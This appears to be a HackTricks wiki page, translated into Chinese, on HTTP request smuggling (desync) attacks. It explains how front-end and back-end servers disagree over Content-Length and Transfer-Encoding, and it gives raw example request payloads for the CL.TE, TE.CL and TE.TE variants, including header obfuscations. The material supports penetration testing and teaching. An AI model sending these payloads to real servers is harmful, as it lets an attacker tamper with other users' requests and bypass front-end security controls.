hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 什么是
  • 理论
  • 现实情况
  • 特殊情况
  • 基本示例
  • 漏洞类型的基本示例
  • 寻找HTTP请求走私
  • 使用时间技术查找CL.TE漏洞
  • 使用时间技术查找TE.CL漏洞
  • 其他查找漏洞的方法
  • HTTP请求走私漏洞测试
  • 滥用HTTP请求走私
  • 通过HTTP请求走私绕过前端安全
  • 揭示前端请求重写
  • 捕获其他用户的请求
  • 利用HTTP请求走私来利用反射型XSS
  • 利用 HTTP 请求走私对站点重定向进行利用
  • 通过HTTP请求走私利用Web缓存投毒
  • 使用 HTTP 请求走私执行 Web 缓存欺骗
  • 通过 HTTP 请求走私滥用 TRACE
  • 通过HTTP响应拆分滥用TRACE
  • 利用 HTTP 请求串联与 HTTP 响应解同步化进行武器化
  • 其他 HTTP 请求串联技术
  • Turbo intruder 脚本
  • CL.TE
  • TE.CL
  • 工具
  • 参考资料
  1. Pentesting Web

HTTP Request Smuggling / HTTP Desync Attack

上一页HTTP Connection Request Smuggling下一页Browser HTTP Request Smuggling

最后更新于1年前

从零开始学习 AWS 黑客技术,成为专家 !

支持 HackTricks 的其他方式:

  • 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看!

  • 获取

  • 探索,我们的独家收藏品

  • 加入 💬 或 或在 Twitter 🐦 ** 上关注**我们。

  • 通过向 和 github 仓库提交 PR 来分享您的黑客技巧。

什么是

当前端代理和后端服务器之间发生不同步时,会出现此漏洞,使得攻击者能够发送一个 HTTP 请求,该请求将被前端代理(负载均衡/反向代理)解释为单个请求,而被后端服务器解释为2个请求。 这使得用户能够在其之后到达后端服务器的下一个请求中修改请求。

理论

如果接收到的消息同时具有传输编码头字段和内容长度头字段,则必须忽略后者。

Content-Length

Content-Length 实体头指示发送给接收方的实体主体的字节数。

Transfer-Encoding: chunked

Transfer-Encoding 头指定用于安全传输有效载荷主体的编码形式。 Chunked 意味着大数据以一系列块的形式发送

现实情况

前端(负载均衡 / 反向代理)处理 content-length 或 transfer-encoding 头,而后端服务器处理另一个头,导致这两个系统之间的不同步。 这可能非常危险,因为攻击者将能够向反向代理发送一个请求,该请求将被后端服务器解释为2个不同的请求。这种技术的危险在于后端服务器将会将注入的第二个请求解释为来自下一个客户端,而该客户端的真实请求将成为注入请求的一部分。

特殊情况

请记住,在 HTTP 中,一个换行符由 2 个字节组成:

  • Content-Length:此头使用十进制数来指示请求主体的字节数。预期请求主体在最后一个字符结束,请求的末尾不需要换行符。

  • Transfer-Encoding: 此头在主体中使用十六进制数来指示下一个块的字节数。块必须以换行符结尾,但是长度指示符不计算这个换行符。此传输方法必须以大小为 0 的块后跟 2 个换行符结束:0

  • Connection:根据我的经验,建议在请求串行的第一个请求中使用**Connection: keep-alive**。

基本示例

尝试使用 Burp Suite 利用此漏洞时,在重复器中禁用 Update Content-Length 和 Normalize HTTP/1 line endings,因为一些小工具会滥用换行符、回车和格式不正确的 content-length。

HTTP 请求串行攻击是通过发送模棱两可的请求来制造的,利用前端和后端服务器解释 Content-Length(CL)和 Transfer-Encoding(TE)头的差异。这些攻击可以以不同形式出现,主要是CL.TE、TE.CL 和 TE.TE。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外且可能恶意的结果。

漏洞类型的基本示例

CL.TE 漏洞(前端使用 Content-Length,后端使用 Transfer-Encoding)

  • 前端(CL): 根据 Content-Length 头处理请求。

  • 后端(TE): 根据 Transfer-Encoding 头处理请求。

  • 攻击场景:

  • 攻击者发送一个请求,其中 Content-Length 头的值与实际内容长度不匹配。

  • 前端服务器根据 Content-Length 值将整个请求转发给后端。

  • 后端服务器由于 Transfer-Encoding: chunked 头而将请求处理为分块,将剩余数据解释为单独的、随后的请求。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 漏洞(前端使用 Transfer-Encoding,后端使用 Content-Length)

  • 前端(TE): 根据 Transfer-Encoding 头处理请求。

  • 后端(CL): 根据 Content-Length 头处理请求。

  • 攻击场景:

  • 攻击者发送一个分块请求,其中块大小(7b)和实际内容长度(Content-Length: 4)不对齐。

  • 前端服务器遵循 Transfer-Encoding,将整个请求转发给后端。

  • 后端服务器遵循 Content-Length,仅处理请求的初始部分(7b 字节),将其余部分作为意外的随后请求的一部分。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE漏洞(前端和后端都使用的传输编码,带有混淆)

  • 服务器: 两者都支持Transfer-Encoding,但可以通过混淆来欺骗其中一个。

  • 攻击场景:

  • 攻击者发送带有混淆的Transfer-Encoding头的请求。

  • 取决于哪个服务器(前端或后端)无法识别混淆,可能会利用CL.TE或TE.CL漏洞。

  • 请求的未处理部分,由其中一个服务器看到,将成为后续请求的一部分,导致走私。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL场景(前端和后端都使用的内容长度):

  • 两个服务器仅基于Content-Length头处理请求。

  • 这种情况通常不会导致走私,因为两个服务器在解释请求长度方面是一致的。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

正常请求

CL != 0场景:

  • 指的是Content-Length头存在且值不为零的情况,表明请求体具有内容。

  • 在理解和构建走私攻击时至关重要,因为它影响服务器如何确定请求的结束。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

非空请求体

破坏Web服务器

这种技术在读取初始HTTP数据时可能破坏Web服务器,但不关闭连接的情况下也很有用。这样,HTTP请求的主体将被视为下一个HTTP请求。

通过逐跳头强制

滥用逐跳头,您可以指示代理删除标题Content-Length或Transfer-Encoding,以便滥用HTTP请求走私。

